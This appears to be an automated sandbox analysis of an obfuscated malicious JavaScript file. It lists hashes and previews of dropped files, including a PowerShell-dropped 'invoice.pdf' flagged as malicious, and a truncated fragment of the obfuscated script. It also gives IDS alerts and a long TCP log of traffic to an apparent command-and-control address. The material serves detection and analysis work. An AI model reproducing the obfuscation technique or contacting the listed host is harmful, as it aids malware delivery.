SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c045f5c3-00aa-49c7-86eb-e7753f83132f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLUwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLUwZGuGZn3mlind9i4ufFXpAXkru
MD5:	8B28BC53A886E7478965FCF44FA48847
SHA1:	90B2AC83CC6A91C10CBDFFEEF32852A2E85F1EBC
SHA-256:	F3841861FFE27932B9A0F55A3D86944EBCFCB09F1BB45EFDE2224EA83B80B2BC
SHA-512:	A3F64FD6981A2FE6512BB91CA97A04F1F718F00BE4C48F95368ED9D525C932F31627589676DF46310D492F055B5C2AEC264A5BB66F1A5E48DEA001CDFAE3B681
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17313), with CRLF line terminators
Entropy (8bit):	4.922592741617508
TrID:
File name:	1227622214229272730.js
File size:	20'892 bytes
MD5:	4388382a28f1275ee2747259a345d74b
SHA1:	a54fccc885a7a65fe47eb69eaa2a5066b4443689
SHA256:	9145b492f31b9baf9ef23ecd211877a64cce762f9718fdd3b0c2582b50e73778
SHA512:	108851feac3addfc4b7b9d2df5acc1cacfff67c3115ae4228a7ba7b5a19662a2c34123934c997678cead25abf22ba169658f7549040c6a586678799dd8c60ffd
SSDEEP:	192:1gxAcwe5rMraoh6u2LZD5VolbXZ7IJXTNLon7sKy9FzY0tcVZKuL+SPMsrbc:CxAcwGMraoKZXodI1jALTPM0bc
TLSH:	509274CE4D458DA8EDE45DF2FBE728AA3C3501544AA438DC5492484A6B40F2792FDCFB
File Content Preview:	function ttzmrzro(){bxexddqny=[1031,3079,5127,4103,2055,3072];var pswij=this[sdofcrmi+pyzuh+imfkgrimd+jyaxfwbq+bmyzsfrr+lnyxo+hxsvswde+wtxdoxb](this[fomawxoyb+htjge+efsfveeez+imfkgrimd+ewzory+sdofcrmi+wtxdoxb][lghhbbiwx+imfkgrimd+bmyzsfrr+pyzuh+wtxdoxb+bm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:06:20.617790+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-10T19:06:22.978846+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:06:19.829377890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:19.834538937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:19.834666967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:19.837393999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:19.842134953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617711067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617732048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617744923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617789984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.617795944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617809057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617822886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617834091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617846012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617902040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.617902040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.617943048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.617957115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.618006945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.622827053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.664479017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.664499998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.664762020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.737737894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.737761021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.737777948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.737797976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.737811089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.737823963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.737895966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.737998009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.738162994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.738214970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.738226891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.738653898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.738667011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.738678932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.738709927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.738709927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.738739967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.738746881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.739202976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.739238977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.739252090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.739260912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.739346981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.739356995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.739362001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.740094900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.740118980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.740134001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.740135908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.740494013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.747541904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.747561932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.747742891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.752360106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.752376080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.752388000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.752583981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.752583981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.784399986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.784419060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.784603119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.826214075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.826234102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.826670885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.857973099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.857995033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858016014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858027935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858038902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858052015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858310938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.858310938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.858396053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858407021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858504057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.858525038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858575106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858588934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858618021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.858673096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.858876944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.858989000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859057903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859070063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859096050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859133005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.859133005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.859148979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859186888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859199047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859270096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.859966993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859981060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.859992981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860085964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860100031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860111952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860124111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860184908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.860184908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.860184908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.860779047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860802889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860852003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860868931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860872030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.860934019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.860945940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860958099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.860999107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.861102104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.862909079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.862973928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.863056898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.863070011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.863081932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.863092899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.863106966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.863123894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.863202095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.863255978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.863255978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.865557909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.865572929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.865652084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.865706921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.865719080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.865734100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.865856886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.914766073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.914794922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.914808989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.914822102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.914834976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.914848089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.914895058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.914895058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.946476936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.946491003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.946599007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978171110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978197098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978353024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978365898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978421926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978435993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978455067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978466988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978478909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978523016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978523016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978580952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978594065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978605032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978692055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978739977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978763103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978794098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978809118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978859901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978868961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.978874922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.978888988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979084969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.979166031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979180098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979191065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979228020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.979259968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.979263067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979276896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979286909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979300022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979322910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.979370117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.979401112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979415894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979459047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.979958057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979971886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.979989052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980047941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980061054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980072021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980084896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980091095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.980115891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.980115891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.980196953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980209112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980220079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980232954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980263948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.980339050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.980938911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980961084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980973005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.980999947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.981024981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.981085062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981097937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981110096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981122017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981200933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.981200933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.981239080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981252909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981265068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981277943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981324911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.981385946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.981813908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981868029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981883049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.981924057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982011080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982013941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982023954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982034922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982048035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982063055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982101917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982101917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982136965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982150078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982163906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982198000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982804060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982819080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982832909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982870102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982917070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982917070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.982947111 CET	80	49710	193.143.1.205	192.168.2.6
